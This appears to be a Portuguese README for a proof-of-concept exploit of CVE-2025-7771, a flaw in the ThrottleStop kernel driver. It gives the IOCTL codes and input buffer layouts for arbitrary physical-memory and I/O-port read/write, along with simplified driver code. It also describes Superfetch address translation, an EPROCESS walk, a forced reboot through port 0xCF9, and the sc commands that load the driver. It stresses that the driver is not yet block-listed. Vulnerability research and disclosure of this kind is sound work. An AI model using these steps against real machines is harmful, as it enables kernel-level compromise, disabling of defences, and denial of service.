
CVE-2025-7771: Leitura e gravação arbitrárias de memória física e portas de E/S através do driver ThrottleStop
CVE-2025-7771: Leitura/escrita arbitrária de memória física e portas de E/S através do driver ThrottleStop
O ThrottleStop é uma pequena aplicação legítima usada para monitorar e corrigir o throttling da CPU. Ele possui um driver que facilita essas tarefas e, na maioria das vezes, não possui qualquer tipo de validação de entrada.
| IOCTL | Vulnerabilidade |
|---|---|
| 0x80006498 | Leitura arbitrária de memória |
| 0x8000649C | Escrita arbitrária de memória |
| 0x80006430 | Leitura arbitrária de porta |
| 0x80006434 | Escrita arbitrária de porta |
Também parece haver leitura e escrita arbitrária de MSR, mas não consegui fazê-las funcionar.
Sinta-se à vontade para verificar você mesmo.
A leitura de MSR está em 0x80006448 e a escrita em 0x8000644C.
Se você conseguir fazê-las funcionar, por favor, envie uma issue descrevendo o procedimento.
Todas as chamadas de IOCTL mencionadas abaixo estão implementadas no arquivo Exploit.c.
O IOCTL 0x80006498 mapeia qualquer endereço físico fornecido para o espaço do kernel usando MmMapIoSpace e lê 1, 2, 4 ou 8 bytes dele. Os dados são então copiados de volta para o espaço do usuário.
Para acionar este IOCTL, chame DeviceIoControl com o endereço físico como entrada e o tamanho do buffer de saída como tamanho da leitura (1, 2, 4 ou 8).
Código simplificado para este IOCTL no driver:
case 0x80006498: {
size_t readSize = inputBuffer->Size; // must be 1,2,4,8
PHYSICAL_ADDRESS physAddr = inputBuffer->PhysAddr;
void* mappedAddr = MmMapIoSpace(physAddr, readSize, MmNonCached);
if (mappedAddr) {
if (readSize == 1)
*outputBuffer = *(uint8_t*)mappedAddr;
else if (readSize == 2)
*(uint16_t*)outputBuffer = *(uint16_t*)mappedAddr;
else if (readSize == 4)
*(uint32_t*)outputBuffer = *(uint32_t*)mappedAddr;
else if (readSize == 8)
*(uint64_t*)outputBuffer = *(uint64_t*)mappedAddr;
MmUnmapIoSpace(mappedAddr, readSize);
}
}
Similar à leitura, o IOCTL 0x8000649C mapeia o endereço físico fornecido para o espaço do kernel usando MmMapIoSpace e lê 1, 2, 4 ou 8 bytes dele.
Para acionar este IOCTL, chame DeviceIoControl com o seguinte layout do buffer de entrada:
struct {
ULONGLONG PhysicalAddress; // 8 bytes
union {
BYTE Value8;
WORD Value16;
DWORD Value32;
QWORD Value64;
};
};
O tamanho do buffer de entrada será 8 + (1, 2, 4 ou 8) dependendo do tamanho da escrita.
O buffer de saída e o tamanho do buffer de saída não são utilizados.
Código simplificado para este IOCTL no driver:
case 0x8000649C: {
size_t writeSize = inputBuffer->Size; // must be 1,2,4,8
PHYSICAL_ADDRESS physAddr = inputBuffer->PhysAddr;
void* mappedAddr = MmMapIoSpace(physAddr, writeSize, MmNonCached);
if (mappedAddr) {
if (writeSize == 1)
*(uint8_t*)mappedAddr = inputBuffer->Value8;
else if (writeSize == 2)
*(uint16_t*)mappedAddr = inputBuffer->Value16;
else if (writeSize == 4)
*(uint32_t*)mappedAddr = inputBuffer->Value32;
else if (writeSize == 8)
*(uint64_t*)mappedAddr = inputBuffer->Value64;
MmUnmapIoSpace(mappedAddr, writeSize);
}
}
O IOCTL 0x80006430 permite que um usuário especifique uma porta de E/S e leia dela diretamente usando __inbyte, __inword ou __indword.
O buffer de entrada é um USHORT e o tamanho do buffer de entrada deve ser sizeof(USHORT).
O buffer de saída conterá o resultado (1, 2 ou 4 bytes dependendo do tamanho solicitado) e o tamanho de saída pode ser 1, 2 ou 4.
Código simplificado para este IOCTL no driver:
case 0x80006430: {
uint16_t port = inputBuffer->PortNumber;
uint8_t size = inputBuffer->AccessSize; // 1, 2, or 4
if (size == 1)
*outputBuffer = __inbyte(port);
else if (size == 2)
*(uint16_t*)outputBuffer = __inword(port);
else if (size == 4)
*(uint32_t*)outputBuffer = __indword(port);
}
Similar à leitura de porta, o IOCTL 0x80006434 permite que um usuário especifique uma porta de E/S e escreva valores arbitrários nela com __outbyte, __outword ou __outdword.
O layout do buffer de entrada é:
struct {
USHORT PortNumber;
BYTE Padding[2]; // alignment
union {
BYTE Value8;
WORD Value16;
DWORD Value32;
};
};
O tamanho do buffer de entrada deve ser sizeof(USHORT) + sizeof(Value) (+ alinhamento). O buffer de saída e seu tamanho não são utilizados.
Código simplificado para este IOCTL no driver:
case 0x80006434: {
uint16_t port = inputBuffer->PortNumber;
uint8_t size = inputBuffer->AccessSize; // 1, 2, or 4
if (size == 1)
__outbyte(port, inputBuffer->Value8);
else if (size == 2)
__outword(port, inputBuffer->Value16);
else if (size == 4)
__outdword(port, inputBuffer->Value32);
}
Esta tradução é possível abusando do Superfetch, um módulo legítimo do kernel que expõe a tradução de endereços virtuais para físicos usando APIs não documentadas. O código para isso está implementado em vtop.c
Este projeto pode ser compilado usando Meson. Ele lê o campo UniqueProcessId resolvendo a estrutura EPROCESS do processo System usando PsInitialSystemProcess e verifica se é 4 (implementado em Main.c e as funções para encontrar o EPROCESS de um PID específico estão implementadas em EProcess.c). Além disso, pergunta ao usuário se ele deseja forçar a reinicialização do sistema. Isso é possível escrevendo o valor 0x0E na porta 0xCF9.
Aviso: Tudo foi testado no Windows 11 build 24H2. Os offsets na estrutura EPROCESS podem ser diferentes no seu sistema.
Compile o projeto com
meson setup build
Isso criará o diretório build. Agora compile o projeto com
meson compile -C build
O driver está disponível no diretório Drivers do repositório. Os drivers do ThrottleStop podem ser extraídos diretamente do programa ThrottleStop.exe via Resource Hacker. Você encontrará 2 drivers - x64 e x86. DriverObject->MajorFunction[14] contém a função de dispatch onde todos os IOCTLs foram implementados.
Crie e inicie o driver usando:
sc create ThrottleStop binPath="<Path>" type=kernel
sc start ThrottleStop
https://github.com/jonomango/superfetch
Este driver ainda não foi adicionado à lista de bloqueio de drivers da Microsoft nem ao loldrivers.